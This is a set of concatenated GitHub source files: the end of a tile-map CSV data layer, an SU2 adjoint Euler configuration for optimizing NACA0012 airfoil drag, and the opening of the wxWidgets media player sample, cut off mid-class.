12,8,8,8,8,20,8,12,8,6,8,8,20,8,8,6,8,12,8,8,8,12,8,8,8,8,6,8,8,8,8,8,8,8,8,8,8,6,8,8,8,8,12,8,8,8,12,8,6,8,8,20,8,8,6,8,12,8,20,8,8,8,8,12, 12,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,12,8,8,6,12,6,8,8,8,8,8,6,8,8,20,20,8,8,6,8,8,8,8,8,6,12,6,8,8,12,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,12, 12,8,8,6,12,12,12,12,12,12,12,8,8,8,12,12,12,12,8,8,12,12,12,12,12,8,8,8,8,12,12,12,12,12,12,8,8,8,8,12,12,12,12,12,8,8,12,12,12,12,8,8,8,12,12,12,12,12,12,12,6,8,8,12, 12,8,8,8,8,8,8,12,8,8,8,8,8,8,12,8,8,8,8,8,8,12,6,8,8,8,8,8,8,6,6,12,12,6,6,8,8,8,8,8,8,6,12,8,8,8,8,8,8,12,8,8,8,8,8,8,12,8,8,8,8,8,8,12, 12,8,8,8,8,20,8,12,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,8,8,20,8,8,6,6,12,12,6,6,8,8,20,8,8,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,12,8,20,8,8,8,8,12, 12,8,8,8,8,8,8,12,8,8,6,6,8,8,12,8,8,20,20,8,8,8,8,8,8,8,8,8,8,8,8,12,12,8,8,8,8,8,8,8,8,8,8,8,8,20,20,8,8,12,8,8,6,6,8,8,12,8,8,8,8,8,8,12, 12,8,8,8,8,8,8,12,8,8,6,6,8,8,8,8,8,20,20,8,8,12,12,12,12,8,8,6,8,8,8,12,12,8,8,8,6,8,8,12,12,12,12,8,8,20,20,8,8,8,8,8,6,6,8,8,12,8,8,8,8,8,8,12, 12,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,12, 12,8,8,8,12,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,12,8,6,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,6,8,12,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,12,8,8,8,12, 12,8,8,12,12,6,8,8,8,8,12,12,12,12,12,12,8,8,12,12,12,12,8,8,8,12,12,12,12,8,8,20,20,8,8,12,12,12,12,8,8,8,12,12,12,12,8,8,12,12,12,12,12,12,8,8,8,8,6,12,12,8,8,12, 12,8,8,12,12,6,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,6,12,12,8,8,12, 12,8,8,8,12,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,20,8,12,8,8,8,8,8,8,8,8,8,8,8,8,12,8,20,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,12,8,8,8,12, 12,8,8,8,8,8,8,12,8,8,20,20,8,8,12,8,8,6,6,8,8,8,8,8,8,12,8,8,6,8,8,12,12,8,8,6,8,8,12,8,8,8,8,8,8,6,6,8,8,12,8,8,20,20,8,8,12,8,8,8,8,8,8,12, 12,8,8,8,8,8,8,12,8,8,20,20,8,8,12,8,8,6,6,8,8,12,8,8,8,8,8,8,6,8,8,12,12,8,8,6,8,8,8,8,8,8,12,8,8,6,6,8,8,12,8,8,20,20,8,8,12,8,8,8,8,8,8,12, 12,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,8,8,8,8,12,8,6,8,8,8,8,8,8,8,12,12,8,8,8,8,8,8,8,6,8,12,8,8,8,8,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,12, 12,8,8,8,8,8,20,12,8,8,8,8,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,12,12,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,8,8,8,8,12,20,8,8,8,8,8,12, 12,8,8,12,12,12,12,12,12,12,12,12,8,8,8,8,12,12,12,12,12,12,12,12,12,12,12,8,8,12,12,12,12,12,12,8,8,12,12,12,12,12,12,12,12,12,12,12,8,8,8,8,12,12,12,12,12,12,12,12,12,8,8,12, 12,8,8,8,8,8,6,12,20,8,8,8,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,6,12,12,6,8,8,8,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,8,8,8,20,12,6,8,8,8,8,8,12, 12,8,8,8,8,8,8,12,8,8,8,8,8,6,6,8,8,8,8,20,8,12,8,20,8,8,8,8,8,8,8,12,12,8,8,8,8,8,8,8,20,8,12,8,20,8,8,8,8,6,6,8,8,8,8,8,12,8,8,8,8,8,8,12, 12,8,8,8,8,8,8,12,8,8,8,8,12,12,12,12,8,8,8,8,8,12,8,8,8,8,8,8,8,8,8,12,12,8,8,8,8,8,8,8,8,8,12,8,8,8,8,8,12,12,12,12,8,8,8,8,12,8,8,8,8,8,8,12, 12,8,8,20,8,8,8,12,8,8,8,8,8,12,12,8,8,8,8,8,8,6,8,8,8,8,6,8,8,8,8,20,20,8,8,8,8,6,8,8,8,8,6,8,8,8,8,8,8,12,12,8,8,8,8,8,12,8,8,8,20,8,8,12, 12,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,12, 12,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,12, 12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12 </data> </layer> </map>
{ "pile_set_name": "Github" }
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % SU2 configuration file % % Case description: Adjoint transonic inviscid flow around a NACA0012 airfoil % % Author: Thomas D. Economon % % Institution: Stanford University % % Date: 2011.11.02 % % File Version 7.0.6 "Blackbird" % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % ------------- DIRECT, ADJOINT, AND LINEARIZED PROBLEM DEFINITION ------------% % % Physical governing equations (EULER, NAVIER_STOKES, % WAVE_EQUATION, HEAT_EQUATION, FEM_ELASTICITY, % POISSON_EQUATION) SOLVER= EULER % % Mathematical problem (DIRECT, CONTINUOUS_ADJOINT) MATH_PROBLEM= CONTINUOUS_ADJOINT % % Restart solution (NO, YES) RESTART_SOL= YES % % Write binary restart files (YES, NO) WRT_BINARY_RESTART= NO % % Read binary restart files (YES, NO) READ_BINARY_RESTART= NO % % Number of zones NZONES= 1 % ----------- COMPRESSIBLE AND INCOMPRESSIBLE FREE-STREAM DEFINITION ----------% % % Mach number (non-dimensional, based on the free-stream values) MACH_NUMBER= 0.8 % % Angle of attack (degrees) AOA= 1.25 % % Free-stream pressure (101325.0 N/m^2 by default, only Euler flows) FREESTREAM_PRESSURE= 101325.0 % % Free-stream temperature (288.15 K by default) FREESTREAM_TEMPERATURE= 288.15 % ---------------------- REFERENCE VALUE DEFINITION ---------------------------% % % Reference origin for moment computation REF_ORIGIN_MOMENT_X = 0.25 REF_ORIGIN_MOMENT_Y = 0.00 REF_ORIGIN_MOMENT_Z = 0.00 % % Reference length for pitching, rolling, and yawing non-dimensional moment REF_LENGTH= 1.0 % % Reference area for force coefficients (0 implies automatic calculation) REF_AREA= 1.0 % ----------------------- BOUNDARY CONDITION DEFINITION -----------------------% % % Marker of the Euler boundary (0 = no marker) MARKER_EULER= ( airfoil ) % % Marker of the far field (0 = no marker) MARKER_FAR= ( farfield ) % % Marker of the surface which is going to be plotted or designed MARKER_PLOTTING= ( airfoil ) % % Marker of the surface where the functional (Cd, Cl, etc.) will be evaluated MARKER_MONITORING= ( airfoil ) % ------------- COMMON PARAMETERS TO DEFINE THE NUMERICAL METHOD --------------% % Numerical method for spatial gradients (GREEN_GAUSS, LEAST_SQUARES, % WEIGHTED_LEAST_SQUARES) NUM_METHOD_GRAD= GREEN_GAUSS % % Adjoint problem boundary condition (DRAG, LIFT, SIDEFORCE, MOMENT_X, % MOMENT_Y, MOMENT_Z, EFFICIENCY, % EQUIVALENT_AREA, NEARFIELD_PRESSURE, % FORCE_X, FORCE_Y, FORCE_Z, THRUST, % TORQUE, FREE_SURFACE, TOTAL_HEAT, % MAXIMUM_HEATFLUX, INVERSE_DESIGN_PRESSURE, % INVERSE_DESIGN_HEATFLUX) OBJECTIVE_FUNCTION= DRAG % % Courant-Friedrichs-Lewy condition of the finest grid CFL_NUMBER= 5.0 % % Adaptive CFL number (NO, YES) CFL_ADAPT= NO % % Parameters of the adaptive CFL number (factor down, factor up, CFL min value, % CFL max value ) CFL_ADAPT_PARAM= ( 1.5, 0.5, 1.0, 100.0 ) % % Runge-Kutta alpha coefficients RK_ALPHA_COEFF= ( 0.66667, 0.66667, 1.000000 ) % % Number of total iterations ITER= 150 % ------------------------ LINEAR SOLVER DEFINITION ---------------------------% % % Linear solver or smoother for implicit formulations (BCGSTAB, FGMRES, SMOOTHER) LINEAR_SOLVER= FGMRES % % Preconditioner of the Krylov linear solver (ILU, LU_SGS, LINELET, JACOBI) LINEAR_SOLVER_PREC= LU_SGS % % Minimum error of the linear solver for implicit formulations LINEAR_SOLVER_ERROR= 1E-6 % % Max number of iterations of the linear solver for the implicit formulation LINEAR_SOLVER_ITER= 5 % % Linael solver ILU preconditioner fill-in level (1 by default) LINEAR_SOLVER_ILU_FILL_IN= 0 % -------------------------- MULTIGRID PARAMETERS -----------------------------% % % Multi-Grid Levels (0 = no multi-grid) MGLEVEL= 2 % % Multi-grid cycle (V_CYCLE, W_CYCLE, FULLMG_CYCLE) MGCYCLE= W_CYCLE % % Multi-Grid PreSmoothing Level MG_PRE_SMOOTH= ( 1, 2, 2, 2 ) % % Multi-Grid PostSmoothing Level MG_POST_SMOOTH= ( 1, 1, 1, 1 ) % % Jacobi implicit smoothing of the correction MG_CORRECTION_SMOOTH= ( 1, 1, 1, 1 ) % % Damping factor for the residual restriction MG_DAMP_RESTRICTION= 1.0 % % Damping factor for the correction prolongation MG_DAMP_PROLONGATION= 1.0 % -------------------- FLOW NUMERICAL METHOD DEFINITION -----------------------% % % Convective numerical method (JST, LAX-FRIEDRICH, CUSP, ROE, AUSM, HLLC, % TURKEL_PREC, MSW) CONV_NUM_METHOD_FLOW= JST % % Monotonic Upwind Scheme for Conservation Laws (TVD) in the flow equations. % Required for 2nd order upwind schemes (NO, YES) MUSCL_FLOW= YES % % Slope limiter (VENKATAKRISHNAN, MINMOD) SLOPE_LIMITER_FLOW= VENKATAKRISHNAN % % Coefficient for the limiter VENKAT_LIMITER_COEFF= 0.03 % % 2nd and 4th order artificial dissipation coefficients JST_SENSOR_COEFF= ( 0.5, 0.02 ) % % Time discretization (RUNGE-KUTTA_EXPLICIT, EULER_IMPLICIT, EULER_EXPLICIT) TIME_DISCRE_FLOW= EULER_IMPLICIT % ---------------- ADJOINT-FLOW NUMERICAL METHOD DEFINITION -------------------% % % Convective numerical method (JST, LAX-FRIEDRICH, ROE) CONV_NUM_METHOD_ADJFLOW= ROE % % Monotonic Upwind Scheme for Conservation Laws (TVD) in the adjoint flow equations. % Required for 2nd order upwind schemes (NO, YES) MUSCL_ADJFLOW= YES % % Slope limiter (NONE, VENKATAKRISHNAN, BARTH_JESPERSEN, VAN_ALBADA_EDGE, % SHARP_EDGES, WALL_DISTANCE) SLOPE_LIMITER_ADJFLOW= NONE % % Coefficient for the sharp edges limiter ADJ_SHARP_LIMITER_COEFF= 3.0 % % 2nd, and 4th order artificial dissipation coefficients ADJ_JST_SENSOR_COEFF= ( 0.5, 0.02 ) % % Reduction factor of the CFL coefficient in the adjoint problem CFL_REDUCTION_ADJFLOW= 0.5 % % Time discretization (RUNGE-KUTTA_EXPLICIT, EULER_IMPLICIT) TIME_DISCRE_ADJFLOW= EULER_IMPLICIT % ----------------------- DESIGN VARIABLE PARAMETERS --------------------------% % % Kind of deformation (FFD_SETTING, HICKS_HENNE, HICKS_HENNE_NORMAL, PARABOLIC, % HICKS_HENNE_SHOCK, NACA_4DIGITS, DISPLACEMENT, ROTATION, % FFD_CONTROL_POINT, FFD_DIHEDRAL_ANGLE, FFD_TWIST_ANGLE, % FFD_ROTATION) DV_KIND= HICKS_HENNE % % Marker of the surface in which we are going apply the shape deformation DV_MARKER= ( airfoil ) % % Parameters of the shape deformation % - HICKS_HENNE_FAMILY ( Lower(0)/Upper(1) side, x_Loc ) % - NACA_4DIGITS ( 1st digit, 2nd digit, 3rd and 4th digit ) % - PARABOLIC ( 1st digit, 2nd and 3rd digit ) % - DISPLACEMENT ( x_Disp, y_Disp, z_Disp ) % - ROTATION ( x_Orig, y_Orig, z_Orig, x_End, y_End, z_End ) DV_PARAM= ( 1, 0.5 ) % % Value of the shape deformation deformation DV_VALUE= 0.01 % ------------------------ GRID DEFORMATION PARAMETERS ------------------------% % % Linear solver or smoother for implicit formulations (FGMRES, RESTARTED_FGMRES, BCGSTAB) DEFORM_LINEAR_SOLVER= FGMRES % % Preconditioner of the Krylov linear solver (ILU, LU_SGS, JACOBI) DEFORM_LINEAR_SOLVER_PREC= ILU % % Number of smoothing iterations for mesh deformation DEFORM_LINEAR_SOLVER_ITER= 1000 % % Number of nonlinear deformation iterations (surface deformation increments) DEFORM_NONLINEAR_ITER= 1 % % Print the residuals during mesh deformation to the console (YES, NO) DEFORM_CONSOLE_OUTPUT= YES % % Minimum residual criteria for the linear solver convergence of grid deformation DEFORM_LINEAR_SOLVER_ERROR= 1E-14 % % Deformation coefficient (in theory from -1.0 to 0.5, a large value is also valid) DEFORM_COEFF = 1E6 % % Type of element stiffness imposed for FEA mesh deformation (INVERSE_VOLUME, % WALL_DISTANCE, CONSTANT_STIFFNESS) DEFORM_STIFFNESS_TYPE= WALL_DISTANCE % % Visualize the surface deformation (NO, YES) VISUALIZE_SURFACE_DEF= NO % % Visualize the volume deformation (NO, YES) VISUALIZE_VOLUME_DEF= NO % --------------------------- CONVERGENCE PARAMETERS --------------------------% % Convergence criteria (CAUCHY, RESIDUAL) % CONV_CRITERIA= RESIDUAL % % % Min value of the residual (log10 of the residual) CONV_RESIDUAL_MINVAL= -12 % % Start Cauchy criteria at iteration number CONV_STARTITER= 10 % % Number of elements to apply the criteria CONV_CAUCHY_ELEMS= 100 % % Epsilon to control the series convergence CONV_CAUCHY_EPS= 1E-6 % % ------------------------- INPUT/OUTPUT INFORMATION --------------------------% % % Mesh input file MESH_FILENAME= mesh_NACA0012_inv.su2 % % Mesh input file format (SU2, CGNS, NETCDF_ASCII) MESH_FORMAT= SU2 % % Mesh output file MESH_OUT_FILENAME= mesh_out.su2 % % Restart flow input file SOLUTION_FILENAME= solution_flow.dat % % Restart adjoint input file SOLUTION_ADJ_FILENAME= solution_adj.dat % % Output tabular format (CSV, TECPLOT) TABULAR_FORMAT= TECPLOT % % Output file convergence history (w/o extension) CONV_FILENAME= history % % Output file restart flow RESTART_FILENAME= restart_flow.dat % % Output file restart adjoint RESTART_ADJ_FILENAME= restart_adj.dat % % Output file flow (w/o extension) variables VOLUME_FILENAME= flow % % Output file adjoint (w/o extension) variables VOLUME_ADJ_FILENAME= adjoint % % Output Objective function gradient (using continuous adjoint) GRAD_OBJFUNC_FILENAME= of_grad.dat % % Output file surface flow coefficient (w/o extension) SURFACE_FILENAME= surface_flow % % Output file surface adjoint coefficient (w/o extension) SURFACE_ADJ_FILENAME= surface_adjoint % % Writing solution file frequency WRT_SOL_FREQ= 250 % % Writing convergence history frequency WRT_CON_FREQ= 1 % % Screen output SCREEN_OUTPUT = (INNER_ITER, RMS_ADJ_DENSITY, RMS_ADJ_ENERGY, SENS_GEO, SENS_AOA, RMS_DENSITY, RMS_ENERGY, LIFT, DRAG) HISTORY_OUTPUT= (ITER, RMS_RES, AERO_COEFF, SENSITIVITY) VOLUME_OUTPUT= (COORDINATES, SOLUTION, PRESSURE, TEMPERATURE, SENSITIVITY) OUTPUT_FILES=(RESTART_ASCII, PARAVIEW, SURFACE_CSV) % --------------------- OPTIMAL SHAPE DESIGN DEFINITION -----------------------% % % Available flow based objective functions or constraint functions % DRAG, LIFT, SIDEFORCE, EFFICIENCY, BUFFET, % FORCE_X, FORCE_Y, FORCE_Z, % MOMENT_X, MOMENT_Y, MOMENT_Z, % THRUST, TORQUE, FIGURE_OF_MERIT, % EQUIVALENT_AREA, NEARFIELD_PRESSURE, % TOTAL_HEATFLUX, MAXIMUM_HEATFLUX, % INVERSE_DESIGN_PRESSURE, INVERSE_DESIGN_HEATFLUX, % SURFACE_TOTAL_PRESSURE, SURFACE_MASSFLOW % SURFACE_STATIC_PRESSURE, SURFACE_MACH % % Available geometrical based objective functions or constraint functions % AIRFOIL_AREA, AIRFOIL_THICKNESS, AIRFOIL_CHORD, AIRFOIL_TOC, AIRFOIL_AOA, % WING_VOLUME, WING_MIN_THICKNESS, WING_MAX_THICKNESS, WING_MAX_CHORD, WING_MIN_TOC, WING_MAX_TWIST, WING_MAX_CURVATURE, WING_MAX_DIHEDRAL % STATION#_WIDTH, STATION#_AREA, STATION#_THICKNESS, STATION#_CHORD, STATION#_TOC, % STATION#_TWIST (where # is the index of the station defined in GEO_LOCATION_STATIONS) % % Available design variables % 2D Design variables % FFD_CONTROL_POINT_2D ( 19, Scale | Mark. List | FFD_BoxTag, i_Ind, j_Ind, x_Mov, y_Mov ) % FFD_CAMBER_2D ( 20, Scale | Mark. List | FFD_BoxTag, i_Ind ) % FFD_THICKNESS_2D ( 21, Scale | Mark. List | FFD_BoxTag, i_Ind ) % FFD_TWIST_2D ( 22, Scale | Mark. List | FFD_BoxTag, x_Orig, y_Orig ) % HICKS_HENNE ( 30, Scale | Mark. List | Lower(0)/Upper(1) side, x_Loc ) % ANGLE_OF_ATTACK ( 101, Scale | Mark. List | 1.0 ) % % 3D Design variables % FFD_CONTROL_POINT ( 11, Scale | Mark. List | FFD_BoxTag, i_Ind, j_Ind, k_Ind, x_Mov, y_Mov, z_Mov ) % FFD_NACELLE ( 12, Scale | Mark. List | FFD_BoxTag, rho_Ind, theta_Ind, phi_Ind, rho_Mov, phi_Mov ) % FFD_GULL ( 13, Scale | Mark. List | FFD_BoxTag, j_Ind ) % FFD_CAMBER ( 14, Scale | Mark. List | FFD_BoxTag, i_Ind, j_Ind ) % FFD_TWIST ( 15, Scale | Mark. List | FFD_BoxTag, j_Ind, x_Orig, y_Orig, z_Orig, x_End, y_End, z_End ) % FFD_THICKNESS ( 16, Scale | Mark. List | FFD_BoxTag, i_Ind, j_Ind ) % FFD_ROTATION ( 18, Scale | Mark. List | FFD_BoxTag, x_Axis, y_Axis, z_Axis, x_Turn, y_Turn, z_Turn ) % FFD_ANGLE_OF_ATTACK ( 24, Scale | Mark. List | FFD_BoxTag, 1.0 ) % % Global design variables % TRANSLATION ( 1, Scale | Mark. List | x_Disp, y_Disp, z_Disp ) % ROTATION ( 2, Scale | Mark. List | x_Axis, y_Axis, z_Axis, x_Turn, y_Turn, z_Turn ) % % Optimization objective function with scaling factor % ex= Objective * Scale OPT_OBJECTIVE= DRAG * 0.001 % % Optimization constraint functions with scaling factors, separated by semicolons % ex= (Objective = Value ) * Scale, use '>','<','=' OPT_CONSTRAINT= ( LIFT > 0.327 ) * 0.001; ( MOMENT_Z > 0.0 ) * 0.001; ( AIRFOIL_THICKNESS > 0.12 ) * 0.001 % % Optimization design variables, separated by semicolons DEFINITION_DV= ( 30, 1.0 | airfoil | 0, 0.05 ); ( 30, 1.0 | airfoil | 0, 0.10 ); ( 30, 1.0 | airfoil | 0, 0.15 ); ( 30, 1.0 | airfoil | 0, 0.20 ); ( 30, 1.0 | airfoil | 0, 0.25 ); ( 30, 1.0 | airfoil | 0, 0.30 ); ( 30, 1.0 | airfoil | 0, 0.35 ); ( 30, 1.0 | airfoil | 0, 0.40 ); ( 30, 1.0 | airfoil | 0, 0.45 ); ( 30, 1.0 | airfoil | 0, 0.50 ); ( 30, 1.0 | airfoil | 0, 0.55 ); ( 30, 1.0 | airfoil | 0, 0.60 ); ( 30, 1.0 | airfoil | 0, 0.65 ); ( 30, 1.0 | airfoil | 0, 0.70 ); ( 30, 1.0 | airfoil | 0, 0.75 ); ( 30, 1.0 | airfoil | 0, 0.80 ); ( 30, 1.0 | airfoil | 0, 0.85 ); ( 30, 1.0 | airfoil | 0, 0.90 ); ( 30, 1.0 | airfoil | 0, 0.95 ); ( 30, 1.0 | airfoil | 1, 0.05 ); ( 30, 1.0 | airfoil | 1, 0.10 ); ( 30, 1.0 | airfoil | 1, 0.15 ); ( 30, 1.0 | airfoil | 1, 0.20 ); ( 30, 1.0 | airfoil | 1, 0.25 ); ( 30, 1.0 | airfoil | 1, 0.30 ); ( 30, 1.0 | airfoil | 1, 0.35 ); ( 30, 1.0 | airfoil | 1, 0.40 ); ( 30, 1.0 | airfoil | 1, 0.45 ); ( 30, 1.0 | airfoil | 1, 0.50 ); ( 30, 1.0 | airfoil | 1, 0.55 ); ( 30, 1.0 | airfoil | 1, 0.60 ); ( 30, 1.0 | airfoil | 1, 0.65 ); ( 30, 1.0 | airfoil | 1, 0.70 ); ( 30, 1.0 | airfoil | 1, 0.75 ); ( 30, 1.0 | airfoil | 1, 0.80 ); ( 30, 1.0 | airfoil | 1, 0.85 ); ( 30, 1.0 | airfoil | 1, 0.90 ); ( 30, 1.0 | airfoil | 1, 0.95 )
{ "pile_set_name": "Github" }
/////////////////////////////////////////////////////////////////////////////// // Name: mediaplayer.cpp // Purpose: wxMediaCtrl sample // Author: Ryan Norton // Modified by: // Created: 11/10/04 // Copyright: (c) Ryan Norton // Licence: wxWindows licence /////////////////////////////////////////////////////////////////////////////// // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // MediaPlayer // // This is a somewhat comprehensive example of how to use all the funtionality // of the wxMediaCtrl class in wxWidgets. // // To use this sample, simply select Open File from the file menu, // select the file you want to play - and MediaPlayer will play the file in a // the current notebook page, showing video if necessary. // // You can select one of the menu options, or move the slider around // to manipulate what is playing. // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // Known bugs with wxMediaCtrl: // // 1) Certain backends can't play the same media file at the same time (MCI, // Cocoa NSMovieView-Quicktime). // 2) Positioning on Mac Carbon is messed up if put in a sub-control like a // Notebook (like this sample does). // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // ============================================================================ // Definitions // ============================================================================ // ---------------------------------------------------------------------------- // Pre-compiled header stuff // ---------------------------------------------------------------------------- #include "wx/wxprec.h" #ifdef __BORLANDC__ #pragma hdrstop #endif #ifndef WX_PRECOMP #include "wx/wx.h" #endif // ---------------------------------------------------------------------------- // Headers // ---------------------------------------------------------------------------- #include "wx/mediactrl.h" // for wxMediaCtrl #include "wx/filedlg.h" // for opening files from OpenFile #include "wx/slider.h" // for a slider for seeking within media #include "wx/sizer.h" // for positioning controls/wxBoxSizer #include "wx/timer.h" // timer for updating status bar #include "wx/textdlg.h" // for getting user text from OpenURL/Debug #include "wx/notebook.h" // for wxNotebook and putting movies in pages #include "wx/cmdline.h" // for wxCmdLineParser (optional) #include "wx/listctrl.h" // for wxListCtrl #include "wx/dnd.h" // drag and drop for the playlist #include "wx/filename.h" // For wxFileName::GetName() #include "wx/config.h" // for native wxConfig #include "wx/vector.h" // Under MSW we have several different backends but when linking statically // they may be discarded by the linker (this definitely happens with MSVC) so // force linking them. You don't have to do this in your code if you don't plan // to use them, of course. #if defined(__WXMSW__) && !defined(WXUSINGDLL) #include "wx/link.h" wxFORCE_LINK_MODULE(wxmediabackend_am) wxFORCE_LINK_MODULE(wxmediabackend_qt) wxFORCE_LINK_MODULE(wxmediabackend_wmp10) #endif // static wxMSW build #ifndef wxHAS_IMAGES_IN_RESOURCES #include "../sample.xpm" #endif // ---------------------------------------------------------------------------- // Bail out if the user doesn't want one of the // things we need // ---------------------------------------------------------------------------- #if !wxUSE_MEDIACTRL || !wxUSE_MENUS || !wxUSE_SLIDER || !wxUSE_TIMER || \ !wxUSE_NOTEBOOK || !wxUSE_LISTCTRL #error "Not all required elements are enabled. Please modify setup.h!" #endif // ============================================================================ // Declarations // ============================================================================ // ---------------------------------------------------------------------------- // Enumurations // ---------------------------------------------------------------------------- // IDs for the controls and the menu commands enum { // Menu event IDs wxID_LOOP = 1, wxID_OPENFILESAMEPAGE, wxID_OPENFILENEWPAGE, wxID_OPENURLSAMEPAGE, wxID_OPENURLNEWPAGE, wxID_CLOSECURRENTPAGE, wxID_PLAY, wxID_PAUSE, wxID_NEXT, wxID_PREV, wxID_SELECTBACKEND, wxID_SHOWINTERFACE, // wxID_STOP, [built-in to wxWidgets] // wxID_ABOUT, [built-in to wxWidgets] // wxID_EXIT, [built-in to wxWidgets] // Control event IDs wxID_SLIDER, wxID_PBSLIDER, wxID_VOLSLIDER, wxID_NOTEBOOK, wxID_MEDIACTRL, wxID_BUTTONNEXT, wxID_BUTTONPREV, wxID_BUTTONSTOP, wxID_BUTTONPLAY, wxID_BUTTONVD, wxID_BUTTONVU, wxID_LISTCTRL, wxID_GAUGE }; // ---------------------------------------------------------------------------- // wxMediaPlayerApp // ---------------------------------------------------------------------------- class wxMediaPlayerApp : public wxApp { public: #ifdef __WXMAC__ virtual void MacOpenFiles(const wxArrayString & fileNames ); #endif #if wxUSE_CMDLINE_PARSER virtual void OnInitCmdLine(wxCmdLineParser& parser); virtual bool OnCmdLineParsed(wxCmdLineParser& parser); // Files specified on the command line, if any. wxVector<wxString> m_params; #endif // wxUSE_CMDLINE_PARSER virtual bool OnInit(); protected: class wxMediaPlayerFrame* m_frame; }; // ---------------------------------------------------------------------------- // wxMediaPlayerFrame // ---------------------------------------------------------------------------- class wxMediaPlayerFrame : public wxFrame { public: // Ctor/Dtor wxMediaPlayerFrame(const wxString& title); ~wxMediaPlayerFrame(); // Menu event handlers void OnQuit(wxCommandEvent& event); void OnAbout(wxCommandEvent& event); void OnOpenFileSamePage(wxCommandEvent& event); void OnOpenFileNewPage(wxCommandEvent& event); void OnOpenURLSamePage(wxCommandEvent& event); void OnOpenURLNewPage(wxCommandEvent& event); void OnCloseCurrentPage(wxCommandEvent& event); void OnPlay(wxCommandEvent& event); void OnPause(wxCommandEvent& event); void OnStop(wxCommandEvent& event); void OnNext(wxCommandEvent& event); void OnPrev(wxCommandEvent& event); void OnVolumeDown(wxCommandEvent& event); void OnVolumeUp(wxCommandEvent& event); void OnLoop(wxCommandEvent& event); void OnShowInterface(wxCommandEvent& event); void OnSelectBackend(wxCommandEvent& event); // Key event handlers void OnKeyDown(wxKeyEvent& event); // Quickie for playing from command line void AddToPlayList(const wxString& szString); // ListCtrl event handlers void OnChangeSong(wxListEvent& event); // Media event handlers void OnMediaLoaded(wxMediaEvent& event); // Close event handlers void OnClose(wxCloseEvent& event); private: // Common open file code void OpenFile(bool bNewPage); void OpenURL(bool bNewPage); void DoOpenFile(const wxString& path, bool bNewPage); void DoPlayFile(const wxString& path); class wxMediaPlayerTimer* m_timer; // Timer to write info to status bar wxNotebook* m_notebook; // Notebook containing our pages // Maybe I should use more accessors, but for simplicity // I'll allow the other classes access to our members friend class wxMediaPlayerApp; friend class wxMediaPlayerNotebookPage; friend class wxMediaPlayerTimer; }; // ---------------------------------------------------------------------------- // wxMediaPlayerNotebookPage // ---------------------------------------------------------------------------- class wxMediaPlayerNotebookPage : public wxPanel { wxMediaPlayerNotebookPage(wxMediaPlayerFrame* parentFrame, wxNotebook* book, const wxString& be = wxEmptyString); // Slider event handlers void OnBeginSeek(wxScrollEvent& event); void OnEndSeek(wxScrollEvent& event); void OnPBChange(wxScrollEvent& event); void OnVolChange(wxScrollEvent& event); // Media event handlers void OnMediaPlay(wxMediaEvent& event); void OnMediaPause(wxMediaEvent& event); void OnMediaStop(wxMediaEvent& event); void OnMediaFinished(wxMediaEvent& event); public: bool IsBeingDragged(); // accessor for m_bIsBeingDragged // make wxMediaPlayerFrame able to access the private members friend class wxMediaPlayerFrame; int m_nLastFileId; // List ID of played file in listctrl wxString m_szFile; // Name of currently playing file/location wxMediaCtrl* m_mediactrl; // Our media control class wxMediaPlayerListCtrl* m_playlist; // Our playlist wxSlider* m_slider; // The slider below our media control wxSlider* m_pbSlider; // Lower-left slider for adjusting speed wxSlider* m_volSlider; // Lower-right slider for adjusting volume int m_nLoops; // Number of times media has looped bool m_bLoop; // Whether we are looping or not bool m_bIsBeingDragged; // Whether the user is dragging the scroll bar wxMediaPlayerFrame* m_parentFrame; // Main wxFrame of our sample wxButton* m_prevButton; // Go to previous file button wxButton* m_playButton; // Play/pause file button wxButton* m_stopButton; // Stop playing file button wxButton* m_nextButton; // Next file button 